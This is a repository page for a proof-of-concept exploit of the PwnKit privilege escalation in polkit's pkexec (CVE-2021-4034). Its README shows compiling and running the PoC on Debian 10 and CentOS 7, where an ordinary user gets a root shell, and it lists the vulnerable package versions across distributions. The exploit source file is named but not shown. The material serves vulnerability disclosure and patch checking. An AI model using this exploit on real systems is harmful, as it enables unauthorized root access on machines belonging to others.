PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit’s pkexec (CVE-2021-4034)
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
baby神 b767b2b583
Merge 1d4d2d347f into 0e48795ab0
2 years ago
README.md Update README.md 2 years ago
cve-2021-4034-poc.c Header. 2 years ago

README.md

CVE-2021-4034

PoC for PwnKit: Local Privilege Escalation Vulnerability in polkit’s pkexec (CVE-2021-4034)

https://seclists.org/oss-sec/2022/q1/80
https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

PoC

Verified on Debian 10 and CentOS 7.

user@debian:~$ grep PRETTY /etc/os-release
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
user@debian:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
user@debian:~$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
user@debian:~$ ./cve-2021-4034-poc
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(user)
[user@centos ~]$ grep PRETTY /etc/os-release
PRETTY_NAME="CentOS Linux 7 (Core)"
[user@centos ~]$ id
uid=11000(user) gid=11000(user) groups=11000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[user@centos ~]$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
[user@centos ~]$ ./cve-2021-4034-poc
sh-4.2# id
uid=0(root) gid=0(root) groups=0(root),11000(user) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2# exit

Sphere of influence


Debain buster policykit-1 < 0.105-25+deb10u1

Debain bookworm, bullseye policykit-1 < 0.105-31.1

Ubuntu 21.10 (Impish Indri) policykit-1  < 0.105-31ubuntu0.1

Ubuntu 21.04 (Hirsute Hippo) policykit-1 Ignored (reached end-of-life)

Ubuntu 20.04 LTS (Focal Fossa) policykit-1   < 0.105-26ubuntu1.2)

Ubuntu 18.04 LTS (Bionic Beaver) policykit-1  < 0.105-20ubuntu0.18.04.6)

Ubuntu 16.04 ESM (Xenial Xerus) policykit-1  < 0.105-14.1ubuntu0.5+esm1)

Ubuntu 14.04 ESM (Trusty Tahr) policykit-1  < 0.105-4ubuntu3.14.04.6+esm1)

CentOS 6 polkit < polkit-0.96-11.el6_10.2

CentOS 7 polkit < polkit-0.112-26.el7_9.1

CentOS 8.0 polkit < polkit-0.115-13.el8_5.1

CentOS 8.2 polkit < polkit-0.115-11.el8_2.2

CentOS 8.4 polkit < polkit-0.115-11.el8_4.2